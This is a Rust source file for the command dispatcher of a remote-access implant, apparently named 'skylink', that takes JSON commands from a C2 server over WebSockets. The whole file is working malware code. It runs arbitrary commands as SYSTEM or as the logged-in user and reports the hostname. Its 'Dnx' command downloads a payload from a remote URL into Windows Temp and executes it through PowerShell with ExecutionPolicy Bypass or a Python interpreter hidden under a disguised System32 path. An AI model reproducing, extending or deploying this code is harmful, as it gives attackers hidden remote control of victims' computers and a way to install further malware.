use futures_util::stream::SplitSink;
use lib::winapi::low_tier_god;
use serde::{Deserialize, Serialize};
use std::sync::Arc;
use tokio::{net::TcpStream, sync::Mutex};
use tokio_tungstenite::tungstenite::protocol::Message;
use tokio_tungstenite::{MaybeTlsStream, WebSocketStream};

use crate::lib::logger::{LogLevel, log};
use crate::lib::winapi::run_as_user;

pub const WS_URL: &str = env!("C2_SERVER_URL");
pub const LOG_PATH: &str = r"C:\Users\xory\Desktop\test.txt";

pub mod lib {
  pub mod logger;
  pub mod websockets;
  pub mod winapi;
}

pub type WsTx = Arc<Mutex<Option<SplitSink<WebSocketStream<MaybeTlsStream<TcpStream>>, Message>>>>;

#[derive(Deserialize, Serialize)]
pub enum PayloadType {
  Executable,
  Python,
  Powershell,
}

#[derive(Deserialize, Serialize)]
pub struct DnxParams {
  pub url: String,
  pub name: String,
  pub args: Vec<String>,
  pub run_as_system: bool,
  pub file_type: PayloadType,
}

#[derive(Deserialize, Serialize)]
pub enum Command {
  RunCMD { command: String, args: Vec<String> },
  URunCMD { command: String },
  URunExe { path: String, args: String },
  ClientInfo,
  Dnx { params: DnxParams },
  Screenshot,
  LowTierGod
}

pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
  let str_ified = text.into();
  let parsed: Command = serde_json::from_str(str_ified)?;
  match parsed {
    Command::RunCMD { command, args } => {
      let h = args.join(" "); // only used for logging/debugging
      log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await;
      let proc = std::process::Command::new(command).args(args).output()?;
      return Ok(String::from_utf8_lossy(&proc.stdout).to_string());
    }
    Command::URunCMD { command } => {
      let formatted_param = format!("cmd.exe /c \"{command}\"");
      log(LogLevel::Debug, LOG_PATH, format!("Running command {formatted_param}")).await;
      let _result = run_as_user(r"C:\Windows\System32\cmd.exe", &formatted_param)?;
      // we temporarily mark these with _ since run_as_user might return later in dev
      return Ok(format!(""));
    }
    Command::URunExe { path, args } => {
      if let Some(executable_name) = path.split(r"\").last() {
        log(LogLevel::Debug, LOG_PATH, format!("Running executable {path} with args {args}")).await;
        let formatted_param = format!("{executable_name} {args}");
        let _result = run_as_user(&path, &formatted_param)?;
        return Ok(format!(""));
      } else {
        use tokio::io::{Error, ErrorKind};
        return Err(Error::new(ErrorKind::NotFound, "Invalid path").into());
      }
    }
    Command::ClientInfo => {
      let hostname = sysinfo::System::host_name();
      let skylink_ver = "1.0.0";
      if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
    }
    Command::Dnx { params } => {
      log(LogLevel::Debug, LOG_PATH, format!("s1")).await;
      // 1. Toss the file into temp
      let request = reqwest::get(params.url).await?.bytes().await?;
      let file_name = params.name;
      let file_path = format!("C:\\Windows\\Temp\\{file_name}");
      std::fs::write(&file_path, &request)?;

      // 2. Handle possible file types.
      log(LogLevel::Debug, LOG_PATH, format!("s2")).await;
      let mut _exec_command = String::new();
      let mut _exec_args: Vec<String> = vec![];
      match params.file_type {
        PayloadType::Executable => {
          _exec_command = file_path.clone();
          _exec_args = params.args;
        }
        PayloadType::Powershell => {
          _exec_command = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe".to_string();
          _exec_args = vec!["-ExecutionPolicy".to_string(), "Bypass".to_string(), "-File".to_string(), file_path.clone()];
          _exec_args.extend(params.args.iter().cloned());
        }
        PayloadType::Python => {
          _exec_command = "C:\\Windows\\System32\\ExperienceOrientedReporter\\serialiser\\python.exe".to_string();
          _exec_args = vec![file_path];
        }
      }

      // 3. Handle user vs system execution.
      log(LogLevel::Debug, LOG_PATH, format!("s3")).await;
      if params.run_as_system == true {
        std::process::Command::new(&_exec_command).args(&_exec_args).output()?;
      } else {
        let mut command_line_args = vec![format!("\"{}\"", _exec_command)];
        command_line_args.extend(_exec_args);
        let command_line = command_line_args.join(" ");

        run_as_user(&_exec_command, &command_line)?;
      }
      // this was way easier than i expected... assuming it works :pilgrim2:
      Ok(format!(""))
    },
    Command::LowTierGod => {
        let _ = low_tier_god().await; // if this fails you're fucked
        Ok(format!(""))
    },
    _ => todo!(),
  }
}